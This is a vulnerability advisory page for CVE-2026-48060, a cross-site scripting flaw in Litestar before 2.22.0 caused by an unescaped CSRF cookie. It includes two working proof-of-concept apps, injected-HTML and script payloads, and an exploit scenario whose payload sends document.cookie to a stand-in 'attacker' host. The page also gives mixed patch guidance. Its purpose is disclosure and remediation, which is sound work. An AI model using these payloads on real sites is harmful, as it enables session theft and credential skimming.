What is the CVSS score of CVE-2026-48060?

CVE-2026-48060 has a CVSS 3.1 base score of 8.1 (High). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N.

Which versions of Litestar are affected by CVE-2026-48060?

Litestar web framework versions prior to 2.22.0 contain a cross-site scripting vulnerability allowing remote attackers to execute arbitrary JavaScript in users' browsers through CSRF token cookie…. A patch is available.

How to fix or mitigate CVE-2026-48060?

Within 24 hours: Audit all Litestar deployments to identify instances running versions <2.22.0 and confirm use of template engines with csrf_input helper. Within 7 days: Disable the csrf_input helper in templates, implement strict output encoding of all template variables, deploy Web Application Firewall rules to block suspicious CSRF token values, and enable Content Security Policy headers. Within 30 days: Monitor vendor advisories for Litestar 2.22.0+ patch release and execute upgrade across all affected deployments.

Litestar CVE-2026-48060

HIGH

Cross-site Scripting (XSS) (CWE-79)

2026-06-10 https://github.com/litestar-org/litestar

GHSA-542p-wvx7-72m4

XSS Python CSRF

8.1

CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

8.1 HIGH

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

Required

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

None

Lifecycle Timeline

Source Code Evidence Fetched

Jun 10, 2026 - 19:30 vuln.today

Analysis Generated

Jun 10, 2026 - 19:30 vuln.today

CVE Published

Jun 10, 2026 - 19:12 nvd

HIGH 8.1

DescriptionGitHub Advisory

Overview

Litestar instances which use a template engine in conjunction with CSRF protection are vulnerable to HTML Injection which can be escalated to Cross Site Scripting due to the contents of the CSRF cookie being excluded from automatic escaping by the template engine when configured inline with documentation recommendations.

We used the latest Litestar version available via PyPI for this disclosure. At the time of writing, that is version 2.21.0 and we have not validated this against the current latest commit on the main branch.

Special Configurations Required

For a web application to be vulnerable to this issue, it must:

Use templates to render the content which is returned to the user (e.g. Jinja, Mako, MiniJinja)
Have CSRF protection enabled
Have CSRF inputs enabled (i.e. a hidden form field which contains the CSRF token)

Links to relevant documentation for the above configurations:

https://docs.litestar.dev/2/usage/templating.html
https://docs.litestar.dev/latest/usage/middleware/builtin-middleware.html#csrf
https://docs.litestar.dev/latest/usage/templating.html#adding-csrf-inputs

Reproduction Steps

Visit an application which contains a form, uses templating, has CSRF protection enabled, and which inserts the CSRF token as a hidden input field on forms. A proof of concept application demonstrating this configuration is included later in this disclosure for ease of reproduction.
Observe that the server sets the csrftoken cookie when the page loads.

Set the value of the csrftoken cookie to "><h1>HTML Injection Test</h1>.

Refresh the page.
Observe that the contents of the cookie is rendered on the page.

Exploit Code

There are two Proof-of-Concepts (PoC) included here. The first demonstrates that arbitrary HTML is injected into the page when the user supplies a malicious csrftoken cookie. The second demonstrates how an attacker could deliver an attack using the vulnerability to an unsuspecting user.

The proof-of-concept applications can be started using these commands:

bash

# run poc1
python -m uvicorn poc1:app
# run poc2
python -m uvicorn poc2:app

PoC 1 - Minimum Vulnerable Application

This proof-of-concept demonstrates that a crafted csrftoken cookie will be rendered on the vulnerable page as HTML.

poc1.py

python

from litestar import Litestar, get, MediaType
from litestar.response import Template
from litestar.config.csrf import CSRFConfig
import jinja2, os
from pathlib import Path
from litestar import Litestar
from litestar.contrib.jinja import JinjaTemplateEngine
from litestar.template.config import TemplateConfig

@get("/")
async def hello_world() -> Template:
    return Template(
        template_name="test.jinja",
        media_type=MediaType.HTML,
    )

ENVIRONMENT = jinja2.Environment(
    loader=jinja2.FileSystemLoader(
        searchpath=os.path.join(os.path.dirname(__file__), "templates")
    ),
    autoescape=True,
)

csrf_config = CSRFConfig(secret="my_super_duper_secret")

app = Litestar(
    route_handlers=[hello_world],
    template_config=TemplateConfig(
        directory=Path("templates"),
        engine=JinjaTemplateEngine.from_environment(ENVIRONMENT),
    ),
    csrf_config=csrf_config,
)

test.jinja

html

<html>
    <body>
        <div>
            <form method="post">
                {{ csrf_input | safe }}
                <label for="fname">Username:</label><br>
                <input type="text" id="username" name="username"><br>
                <label for="lname">Password:</label><br>
                <input type="text" id="password" name="password">
                <input type="submit">
            </form>
        </div>
    </body>
</html>

Sending the following request to the vulnerable page will result in the HTML included in the csrftoken cookie being injected and rendered on the page.

http

GET /vulnerable HTTP/1.1
Host: localhost:8000
Cookie: csrftoken="><h1>HTML Injection Test</h1>

PoC 2 - Simulated Attack Delivery

This proof-of-concept demonstrates how an attacker could deliver an attack using this vulnerability to an unsuspecting user. We are using this example as it provides for easy local reproduction, it is possible that in end applications there may be various ways to trigger this vulnerability which differ from the example provided.

First, the user must visit a malicious application (the /first_site endpoint in poc2.py) which sets the csrftoken cookie value to a malicious payload. This app must be hosted on the *same top level domain* as the vulnerable application so that the poisoned cookie will automatically be sent by the user's browser to the vulnerable page.

Next, the malicious app *redirects* the user to the vulnerable app (the /second_site endpoint in poc2.py). The victim's browser will automatically send the poisoned cookie to the vulnerable app. This causes the vulnerable application to unsafely write the cookie content to the page and return it to the user, executing the attack in the victim user's browser

poc2.py

python

from litestar import Litestar, get, post, MediaType
from litestar.response import Template
from litestar.config.csrf import CSRFConfig
from litestar.datastructures import Cookie
import jinja2, os
from pathlib import Path
from litestar import Litestar
from litestar.contrib.jinja import JinjaTemplateEngine
from litestar.template.config import TemplateConfig

cookie_payload = '"><script>alert(document.domain)</script>'
# malicious site which poisons the csrf cookie
@get("/first_site", response_cookies=[Cookie(key="csrftoken", value=cookie_payload, httponly=True)])
async def first_site() -> Template:
    return Template(
        template_name="page1.jinja",
        media_type=MediaType.HTML,
    )
# vulnerable site
@get("/second_site")
async def second_site() -> Template:
    return Template(
        template_name="page2.jinja",
        media_type=MediaType.HTML,
    )
# example function for form submission if csrf verification succeeds
@post("/form_receive")
async def handle_form() -> dict[str, str]:
    return {
        "message": "form data received successfully"
    }


ENVIRONMENT = jinja2.Environment(
    loader=jinja2.FileSystemLoader(
        searchpath=os.path.join(os.path.dirname(__file__), "templates")
    ),
    autoescape=True,
)

csrf_config = CSRFConfig(secret="my_super_duper_secret")

app = Litestar(
    route_handlers=[first_site, second_site, handle_form],
    template_config=TemplateConfig(
        directory=Path("templates"),
        engine=JinjaTemplateEngine.from_environment(ENVIRONMENT),
    ),
    csrf_config=csrf_config,
)

page1.jinja

html

<html>
    <body>
        <h1>Setting cookie...</h1>
        <script>
            setTimeout(() => {
                window.location.href="/second_site"
            }, 2000);
        </script>
    </body>
</html>

page2.jinja

html

<html>
    <body>
        <div>
            <form action="/form_receive" method="post">
                {{ csrf_input | safe }}
                <label for="fname">Username:</label><br>
                <input type="text" id="username" name="username"><br>
                <label for="lname">Password:</label><br>
                <input type="text" id="password" name="password">
                <input type="submit">
            </form>
        </div>
    </body>
</html>

Impact

This vulnerability affects all Litestar instances that use templates along with CSRF protection that has been configured inline with the documentation section of "Adding CSRF inputs" within the "Templating" page. An attacker that can successfully exploit this issue can inject arbitrary HTML tags into the page which is then rendered in the victim user's browser. This includes script tags, allowing the attacker to escalate the attack to a Cross Site Scripting attack, thus executing arbitrary JavaScript code in the victim's browser.

Depending on the configuration of the site, this could result in the theft of cookies or session tokens. This issue can also allow the attacker to change the appearance of the site. This could enable possible phishing attacks by injecting fake forms into the page or even skimming the information that a user enters into a legitimate form.

Resources

https://cwe.mitre.org/data/definitions/79.html
https://docs.litestar.dev/2/usage/templating.html
https://docs.litestar.dev/latest/usage/middleware/builtin-middleware.html#csrf
https://docs.litestar.dev/latest/usage/templating.html#adding-csrf-inputs

Articles & Coverage 2

News 7 New Python Vulnerabilities - 1 Critical, 6 High Severity Jun 11, 2026 News 6 New Python Vulnerabilities - 1 Critical, 5 High Severity Jun 10, 2026

AnalysisAI

Cross-Site Scripting in Litestar Python web framework versions prior to 2.22.0 allows remote attackers to execute arbitrary JavaScript in victim browsers by poisoning the csrftoken cookie, whose contents are rendered into HTML templates without escaping when the documented csrf_input helper is used. Publicly available exploit code exists via the GitHub Security Advisory GHSA-542p-wvx7-72m4, which includes two working proof-of-concept applications. …

Unlock full vulnerability intelligence

Risk assessment & exploitation conditions
Attack chain visualization
Remediation with exact patch versions
Threat intelligence from 22 sources
Personal watchlist & email alerts

Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon

Host attacker page on sibling domain

Delivery

Set malicious csrftoken cookie via Set-Cookie

Exploit

Redirect victim to vulnerable Litestar form page

Install

Browser sends poisoned cookie

Template renders csrf_input unescaped

Execute

Injected script executes in victim origin

Impact

Exfiltrate session or skim credentials

Recon

Host attacker page on sibling domain

Delivery

Set malicious csrftoken cookie via Set-Cookie

Exploit

Redirect victim to vulnerable Litestar form page

Install

Browser sends poisoned cookie

Template renders csrf_input unescaped

Execute

Injected script executes in victim origin

Impact

Exfiltrate session or skim credentials

Vulnerability AssessmentAI

Exploitation	The target application must (1) be running Litestar < 2.22.0, (2) use a server-side template engine such as Jinja, Mako, or MiniJinja, (3) have CSRFConfig-based CSRF middleware enabled, and (4) render the documented {{ csrf_input \| safe }} helper into a template returned to users. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment	The CVSS 3.1 base score of 8.1 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N) reflects network reachability, low complexity, no authentication, but required user interaction - consistent with the PoC2 attack chain that needs the victim to visit an attacker-controlled page on the same registrable domain before being redirected to the vulnerable app. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	An attacker hosts a page on any subdomain of the target's registrable domain (or otherwise gets a Set-Cookie for csrftoken accepted by the victim's browser) that sets csrftoken to '"><script>fetch("https://attacker/?c="+document.cookie)</script>' and then redirects the victim to the vulnerable Litestar application's form page. The victim's browser sends the poisoned cookie, Litestar inlines it unescaped into the hidden CSRF input via {{ csrf_input \| safe }}, and the attacker's JavaScript executes in the origin of the vulnerable app, enabling session theft, fake login form injection, or credential skimming as demonstrated by the published PoC2.
Remediation	Vendor-released patch: upgrade Litestar to 2.22.0 or later via pip (pip install --upgrade 'litestar>=2.22.0'), as published in GHSA-542p-wvx7-72m4 and the 2.22.0 changelog at https://docs.litestar.dev/2/release-notes/changelog.html#2.22.0. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Audit all Litestar deployments to identify instances running versions <2.22.0 and confirm use of template engines with csrf_input helper. …

Threat intelligence, references, and detailed analysis are available after sign-in.